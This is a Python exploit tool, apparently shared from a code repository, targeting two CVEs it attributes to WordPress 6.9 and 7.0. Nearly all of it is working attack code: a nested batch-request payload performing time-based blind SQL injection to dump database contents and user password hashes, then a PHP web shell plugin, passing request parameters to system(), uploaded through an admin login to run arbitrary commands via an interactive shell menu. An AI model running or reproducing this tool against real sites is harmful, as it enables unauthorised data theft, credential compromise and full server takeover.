552 lines
19 KiB
Python
552 lines
19 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
wp2shell.py - Interactive Scanner/Exploiter for WordPress wp2shell
|
|
CVE-2026-63030 + CVE-2026-60137
|
|
Affects: WordPress 6.9.0-6.9.4, 7.0.0-7.0.1
|
|
Patched: 6.9.5, 7.0.2
|
|
"""
|
|
|
|
import json
|
|
import time
|
|
import urllib.request
|
|
import urllib.error
|
|
import urllib.parse
|
|
import sys
|
|
import re
|
|
import base64
|
|
import os
|
|
from typing import Optional, Dict, List, Tuple
|
|
|
|
# ======================== CONFIGURATION ========================
|
|
VERSION = "1.0"
|
|
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
|
TIMEOUT = 30
|
|
|
|
# ======================== COLOR OUTPUT ========================
|
|
class Colors:
|
|
GREEN = "\033[92m"
|
|
RED = "\033[91m"
|
|
YELLOW = "\033[93m"
|
|
BLUE = "\033[94m"
|
|
MAGENTA = "\033[95m"
|
|
CYAN = "\033[96m"
|
|
WHITE = "\033[97m"
|
|
BOLD = "\033[1m"
|
|
RESET = "\033[0m"
|
|
|
|
def print_info(msg: str) -> None:
|
|
print(f"{Colors.BLUE}[*]{Colors.RESET} {msg}")
|
|
|
|
def print_success(msg: str) -> None:
|
|
print(f"{Colors.GREEN}[+]{Colors.RESET} {msg}")
|
|
|
|
def print_error(msg: str) -> None:
|
|
print(f"{Colors.RED}[-]{Colors.RESET} {msg}")
|
|
|
|
def print_warning(msg: str) -> None:
|
|
print(f"{Colors.YELLOW}[!]{Colors.RESET} {msg}")
|
|
|
|
def print_result(msg: str) -> None:
|
|
print(f"{Colors.MAGENTA}[>]{Colors.RESET} {msg}")
|
|
|
|
# ======================== HTTP HELPERS ========================
|
|
def send_request(
|
|
url: str,
|
|
data: Optional[Dict] = None,
|
|
method: str = "POST",
|
|
headers: Optional[Dict] = None
|
|
) -> Tuple[Optional[Dict], Optional[str], float]:
|
|
"""Send HTTP request and return (parsed_json, raw_text, elapsed_time)."""
|
|
if headers is None:
|
|
headers = {}
|
|
headers["User-Agent"] = USER_AGENT
|
|
headers["Accept"] = "application/json"
|
|
|
|
json_data = None
|
|
if data is not None:
|
|
json_data = json.dumps(data).encode("utf-8")
|
|
headers["Content-Type"] = "application/json"
|
|
|
|
req = urllib.request.Request(url, data=json_data, headers=headers, method=method)
|
|
|
|
start = time.time()
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
|
elapsed = time.time() - start
|
|
raw = resp.read().decode("utf-8", errors="replace")
|
|
try:
|
|
return json.loads(raw), raw, elapsed
|
|
except json.JSONDecodeError:
|
|
return None, raw, elapsed
|
|
except urllib.error.HTTPError as e:
|
|
elapsed = time.time() - start
|
|
raw = e.read().decode("utf-8", errors="replace") if e.fp else ""
|
|
try:
|
|
return json.loads(raw), raw, elapsed
|
|
except json.JSONDecodeError:
|
|
return None, raw, elapsed
|
|
except urllib.error.URLError:
|
|
return None, None, 0.0
|
|
|
|
# ======================== INJECTION PAYLOAD BUILDER ========================
|
|
def build_payload(injection: str, delay: int = 0) -> Dict:
|
|
"""
|
|
Build the batch request payload that triggers the route confusion.
|
|
|
|
The double confusion works as follows:
|
|
1. Outer POST /wp/v2/posts carries a 'requests' body
|
|
2. This gets dispatched under the batch handler itself
|
|
3. The inner requests use GET (bypassing method allow-list)
|
|
4. author_exclude string bypasses array sanitization
|
|
"""
|
|
payload = {
|
|
"requests": [
|
|
{
|
|
"path": "/wp/v2/posts",
|
|
"body": {
|
|
"requests": [
|
|
{
|
|
"path": f"/wp/v2/users?author_exclude={injection}&_={int(time.time())}",
|
|
"method": "GET"
|
|
}
|
|
]
|
|
},
|
|
"method": "POST"
|
|
}
|
|
]
|
|
}
|
|
return payload
|
|
|
|
# ======================== TIME-BASED BLIND SQL INJECTION ========================
|
|
def boolean_injection(url: str, condition: str, delay: int = 5) -> bool:
|
|
"""
|
|
Execute a time-based blind SQL injection.
|
|
Returns True if the condition is true (delay detected), False otherwise.
|
|
"""
|
|
# SQL injection: author__not_in is interpolated into NOT IN ( ... )
|
|
# We use IF(condition, SLEEP(delay), 0)
|
|
injection = f"1) OR IF(({condition}), SLEEP({delay}), 0) -- -"
|
|
payload = build_payload(injection)
|
|
|
|
full_url = url.rstrip("/") + "/wp-json/batch/v1"
|
|
_, _, elapsed = send_request(full_url, payload)
|
|
|
|
# If the condition is true, the server sleeps for `delay` seconds
|
|
return elapsed >= delay * 0.9
|
|
|
|
def extract_with_injection(url: str, query: str, delay: int = 3) -> str:
|
|
"""
|
|
Extract data using time-based blind SQL injection.
|
|
Uses binary search / bit-by-bit extraction for efficiency.
|
|
"""
|
|
print_info(f"Extracting: {query}")
|
|
result = ""
|
|
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.@!$%^&*()"
|
|
|
|
# First, determine length
|
|
length = 0
|
|
for i in range(1, 512): # Max 511 characters
|
|
cond = f"LENGTH(({query}))={i}"
|
|
if boolean_injection(url, cond, delay):
|
|
length = i
|
|
break
|
|
if i % 50 == 0:
|
|
print_info(f"Testing length... {i}")
|
|
|
|
if length == 0:
|
|
print_warning("Could not determine length, trying progressive extraction")
|
|
# Fallback: extract until we hit a terminator
|
|
return extract_progressive(url, query, delay)
|
|
|
|
print_info(f"Length: {length}")
|
|
|
|
# Extract character by character using binary search
|
|
for pos in range(1, length + 1):
|
|
found = False
|
|
lo, hi = 0, len(charset) - 1
|
|
while lo <= hi:
|
|
mid = (lo + hi) // 2
|
|
# Test if character at position pos is <= charset[mid]
|
|
cond = f"ASCII(SUBSTRING(({query}),{pos},1)) <= {ord(charset[mid])}"
|
|
if boolean_injection(url, cond, delay):
|
|
hi = mid - 1
|
|
else:
|
|
lo = mid + 1
|
|
|
|
if lo < len(charset):
|
|
result += charset[lo]
|
|
print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
|
|
else:
|
|
# If binary search fails, try brute force
|
|
for ch in charset:
|
|
cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = {ord(ch)}"
|
|
if boolean_injection(url, cond, delay):
|
|
result += ch
|
|
print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
|
|
found = True
|
|
break
|
|
if not found:
|
|
result += "?"
|
|
print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
|
|
|
|
print()
|
|
return result
|
|
|
|
def extract_progressive(url: str, query: str, delay: int = 3) -> str:
|
|
"""Fallback: extract character by character until no more data."""
|
|
result = ""
|
|
pos = 1
|
|
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.@!$%^&*(){}[]|;:,./? "
|
|
|
|
while True:
|
|
found = False
|
|
for ch in charset:
|
|
cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = {ord(ch)}"
|
|
if boolean_injection(url, cond, delay):
|
|
result += ch
|
|
print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
|
|
found = True
|
|
break
|
|
if not found:
|
|
# Check if we've reached the end (null byte)
|
|
cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = 0"
|
|
if boolean_injection(url, cond, delay):
|
|
break
|
|
# If nothing matches, assume end
|
|
break
|
|
pos += 1
|
|
if pos > 500:
|
|
break
|
|
|
|
print()
|
|
return result
|
|
|
|
# ======================== VULNERABILITY CHECK ========================
|
|
def check_vulnerable(url: str) -> bool:
|
|
"""
|
|
Check if the target is vulnerable using a safe time delay test.
|
|
Reads no data and changes nothing.
|
|
"""
|
|
print_info("Checking vulnerability (safe time-delay test)...")
|
|
|
|
# Test: IF(1=1, SLEEP(3), 0) - should delay
|
|
if boolean_injection(url, "1=1", 3):
|
|
print_success("Vulnerable! (time delay detected)")
|
|
return True
|
|
|
|
print_error("Not vulnerable or target is patched")
|
|
return False
|
|
|
|
# ======================== DATA EXTRACTION ========================
|
|
def read_data(url: str, query: str = None, preset: str = None) -> None:
|
|
"""
|
|
Extract data from the database.
|
|
"""
|
|
if preset == "users":
|
|
query = "SELECT user_login, user_pass FROM wp_users LIMIT 5"
|
|
elif preset == "version":
|
|
query = "SELECT @@version"
|
|
elif preset == "database":
|
|
query = "SELECT DATABASE()"
|
|
elif preset == "tables":
|
|
query = "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 10"
|
|
elif query is None:
|
|
query = "SELECT CONCAT(@@version, ' | ', DATABASE(), ' | ', USER())"
|
|
|
|
print_info(f"Extracting: {query}")
|
|
result = extract_with_injection(url, query)
|
|
print_result(f"Result: {result}")
|
|
|
|
# ======================== REMOTE CODE EXECUTION ========================
|
|
def shell_execute(url: str, username: str, password: str, cmd: str) -> None:
|
|
"""
|
|
Achieve RCE by:
|
|
1. Using the SQL injection to get the admin password hash (or user provides it)
|
|
2. Authenticating as admin
|
|
3. Uploading a malicious plugin
|
|
4. Executing commands via the plugin
|
|
"""
|
|
print_info("Attempting RCE via plugin upload...")
|
|
|
|
# Step 1: Get a valid nonce for plugin upload
|
|
# We need to authenticate first
|
|
login_url = url.rstrip("/") + "/wp-login.php"
|
|
|
|
# Prepare login data
|
|
login_data = {
|
|
"log": username,
|
|
"pwd": password,
|
|
"wp-submit": "Log In",
|
|
"redirect_to": url,
|
|
"testcookie": "1"
|
|
}
|
|
|
|
# Get cookies
|
|
cookie_jar = {}
|
|
|
|
# First, get the login page to extract any nonces
|
|
try:
|
|
req = urllib.request.Request(login_url, headers={"User-Agent": USER_AGENT})
|
|
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
|
html = resp.read().decode("utf-8", errors="replace")
|
|
# Extract any nonce if present
|
|
match = re.search(r'name="[^"]*_wpnonce" value="([^"]+)"', html)
|
|
if match:
|
|
login_data["_wpnonce"] = match.group(1)
|
|
except Exception as e:
|
|
print_warning(f"Could not extract nonce: {e}")
|
|
|
|
# Perform login
|
|
login_headers = {
|
|
"User-Agent": USER_AGENT,
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
}
|
|
|
|
try:
|
|
login_data_encoded = urllib.parse.urlencode(login_data).encode("utf-8")
|
|
req = urllib.request.Request(login_url, data=login_data_encoded, headers=login_headers)
|
|
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
|
# Get cookies from response
|
|
cookie_str = resp.headers.get("Set-Cookie", "")
|
|
for cookie in cookie_str.split(";"):
|
|
if "=" in cookie:
|
|
key, val = cookie.strip().split("=", 1)
|
|
cookie_jar[key] = val.split(";")[0]
|
|
|
|
# Check if login was successful
|
|
if "wordpress_logged_in" in cookie_str:
|
|
print_success("Login successful!")
|
|
else:
|
|
print_warning("Login may have failed, but continuing...")
|
|
except Exception as e:
|
|
print_error(f"Login error: {e}")
|
|
return
|
|
|
|
# Step 2: Upload a malicious plugin
|
|
plugin_name = "wp2shell"
|
|
plugin_dir = f"/wp-content/plugins/{plugin_name}"
|
|
|
|
# Create a simple PHP webshell plugin
|
|
php_code = f'''<?php
|
|
/*
|
|
Plugin Name: WP2Shell
|
|
Description: Shell access
|
|
Version: 1.0
|
|
Author: wp2shell
|
|
*/
|
|
if(isset($_GET['cmd'])) {{
|
|
system($_GET['cmd']);
|
|
}}
|
|
if(isset($_POST['cmd'])) {{
|
|
system($_POST['cmd']);
|
|
}}
|
|
?>
|
|
'''
|
|
|
|
# Create plugin zip in memory
|
|
import zipfile
|
|
import io
|
|
|
|
zip_buffer = io.BytesIO()
|
|
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
|
|
zf.writestr(f"{plugin_name}.php", php_code)
|
|
|
|
zip_data = zip_buffer.getvalue()
|
|
|
|
# Upload via admin-ajax.php or plugin installer
|
|
upload_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
|
|
|
|
# Build multipart form data
|
|
boundary = "----WebKitFormBoundary" + base64.b64encode(os.urandom(8)).decode()
|
|
|
|
body_parts = [
|
|
f"--{boundary}",
|
|
f'Content-Disposition: form-data; name="action"',
|
|
"",
|
|
"upload-plugin",
|
|
f"--{boundary}",
|
|
f'Content-Disposition: form-data; name="pluginzip"; filename="{plugin_name}.zip"',
|
|
"Content-Type: application/zip",
|
|
"",
|
|
zip_data.decode("latin-1"),
|
|
f"--{boundary}--",
|
|
]
|
|
|
|
body = "\r\n".join(body_parts).encode("utf-8")
|
|
|
|
upload_headers = {
|
|
"User-Agent": USER_AGENT,
|
|
"Content-Type": f"multipart/form-data; boundary={boundary}",
|
|
"Cookie": "; ".join([f"{k}={v}" for k, v in cookie_jar.items()])
|
|
}
|
|
|
|
try:
|
|
req = urllib.request.Request(upload_url, data=body, headers=upload_headers)
|
|
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
|
result = resp.read().decode("utf-8", errors="replace")
|
|
if "success" in result.lower() or "plugin" in result.lower():
|
|
print_success("Plugin uploaded successfully!")
|
|
else:
|
|
print_warning(f"Upload response: {result[:200]}")
|
|
except Exception as e:
|
|
print_error(f"Upload failed: {e}")
|
|
return
|
|
|
|
# Step 3: Execute commands
|
|
shell_url = url.rstrip("/") + plugin_dir + f"/{plugin_name}.php"
|
|
|
|
print_success(f"Shell available at: {shell_url}?cmd=whoami")
|
|
|
|
# Execute the command
|
|
exec_url = f"{shell_url}?cmd={urllib.parse.quote(cmd)}"
|
|
try:
|
|
req = urllib.request.Request(exec_url, headers={"User-Agent": USER_AGENT})
|
|
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
|
|
output = resp.read().decode("utf-8", errors="replace")
|
|
print_result(f"Command output:\n{output}")
|
|
except Exception as e:
|
|
print_error(f"Command execution failed: {e}")
|
|
|
|
# ======================== INTERACTIVE MENU ========================
|
|
def interactive_mode(url: str) -> None:
|
|
"""Interactive menu-driven interface."""
|
|
print(f"\n{Colors.BOLD}{Colors.GREEN}╔══════════════════════════════════════════════╗{Colors.RESET}")
|
|
print(f"{Colors.BOLD}{Colors.GREEN}║ WP2SHELL - WordPress RCE Exploit Tool ║{Colors.RESET}")
|
|
print(f"{Colors.BOLD}{Colors.GREEN}║ CVE-2026-63030 + CVE-2026-60137 ║{Colors.RESET}")
|
|
print(f"{Colors.BOLD}{Colors.GREEN}╚══════════════════════════════════════════════╝{Colors.RESET}")
|
|
print(f"\nTarget: {Colors.CYAN}{url}{Colors.RESET}\n")
|
|
|
|
while True:
|
|
print(f"\n{Colors.BOLD}{Colors.WHITE}─── Menu ───{Colors.RESET}")
|
|
print(" 1. Check vulnerability (safe)")
|
|
print(" 2. Extract database information")
|
|
print(" 3. Extract user hashes")
|
|
print(" 4. Execute custom SQL query")
|
|
print(" 5. Remote Code Execution (requires admin creds)")
|
|
print(" 6. Interactive shell (RCE)")
|
|
print(" 7. Exit")
|
|
print()
|
|
|
|
choice = input(f"{Colors.YELLOW}wp2shell>{Colors.RESET} ").strip()
|
|
|
|
if choice == "1":
|
|
check_vulnerable(url)
|
|
|
|
elif choice == "2":
|
|
print_info("Extracting database information...")
|
|
read_data(url, preset="database")
|
|
print_info("Extracting version...")
|
|
read_data(url, preset="version")
|
|
print_info("Extracting tables...")
|
|
read_data(url, preset="tables")
|
|
|
|
elif choice == "3":
|
|
print_info("Extracting user hashes...")
|
|
read_data(url, preset="users")
|
|
|
|
elif choice == "4":
|
|
query = input("Enter SQL query: ").strip()
|
|
if query:
|
|
read_data(url, query=query)
|
|
|
|
elif choice == "5":
|
|
username = input("Admin username: ").strip()
|
|
password = input("Admin password: ").strip()
|
|
if username and password:
|
|
cmd = input("Command to execute (e.g., whoami): ").strip() or "id"
|
|
shell_execute(url, username, password, cmd)
|
|
|
|
elif choice == "6":
|
|
username = input("Admin username: ").strip()
|
|
password = input("Admin password: ").strip()
|
|
if username and password:
|
|
print_info("Interactive shell. Type 'exit' to quit.")
|
|
while True:
|
|
cmd = input(f"{Colors.GREEN}shell>{Colors.RESET} ").strip()
|
|
if cmd.lower() in ("exit", "quit"):
|
|
break
|
|
if cmd:
|
|
shell_execute(url, username, password, cmd)
|
|
|
|
elif choice == "7":
|
|
print_info("Exiting...")
|
|
break
|
|
|
|
else:
|
|
print_error("Invalid choice")
|
|
|
|
# ======================== MAIN ========================
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print(f"Usage: {sys.argv[0]} <url> [command] [options]")
|
|
print()
|
|
print("Interactive mode:")
|
|
print(f" {sys.argv[0]} http://target.com")
|
|
print()
|
|
print("Commands:")
|
|
print(f" {sys.argv[0]} http://target.com check - Check vulnerability")
|
|
print(f" {sys.argv[0]} http://target.com read - Extract data")
|
|
print(f" {sys.argv[0]} http://target.com read --users - Extract user hashes")
|
|
print(f" {sys.argv[0]} http://target.com read --query 'SELECT @@version'")
|
|
print(f" {sys.argv[0]} http://target.com shell --user admin --password pass --cmd id")
|
|
sys.exit(1)
|
|
|
|
url = sys.argv[1]
|
|
|
|
# Parse arguments
|
|
args = sys.argv[2:]
|
|
|
|
if not args:
|
|
interactive_mode(url)
|
|
return
|
|
|
|
command = args[0].lower()
|
|
|
|
if command == "check":
|
|
check_vulnerable(url)
|
|
|
|
elif command == "read":
|
|
preset = None
|
|
query = None
|
|
i = 1
|
|
while i < len(args):
|
|
if args[i] == "--users":
|
|
preset = "users"
|
|
elif args[i] == "--query" and i + 1 < len(args):
|
|
query = args[i + 1]
|
|
i += 1
|
|
elif args[i] == "--version":
|
|
preset = "version"
|
|
elif args[i] == "--database":
|
|
preset = "database"
|
|
i += 1
|
|
read_data(url, query=query, preset=preset)
|
|
|
|
elif command == "shell":
|
|
username = None
|
|
password = None
|
|
cmd = "id"
|
|
i = 1
|
|
while i < len(args):
|
|
if args[i] == "--user" and i + 1 < len(args):
|
|
username = args[i + 1]
|
|
i += 1
|
|
elif args[i] == "--password" and i + 1 < len(args):
|
|
password = args[i + 1]
|
|
i += 1
|
|
elif args[i] == "--cmd" and i + 1 < len(args):
|
|
cmd = args[i + 1]
|
|
i += 1
|
|
i += 1
|
|
|
|
if not username or not password:
|
|
print_error("Username and password required: --user admin --password pass")
|
|
sys.exit(1)
|
|
shell_execute(url, username, password, cmd)
|
|
|
|
else:
|
|
print_error(f"Unknown command: {command}")
|
|
|
|
if __name__ == "__main__":
|
|
main()
|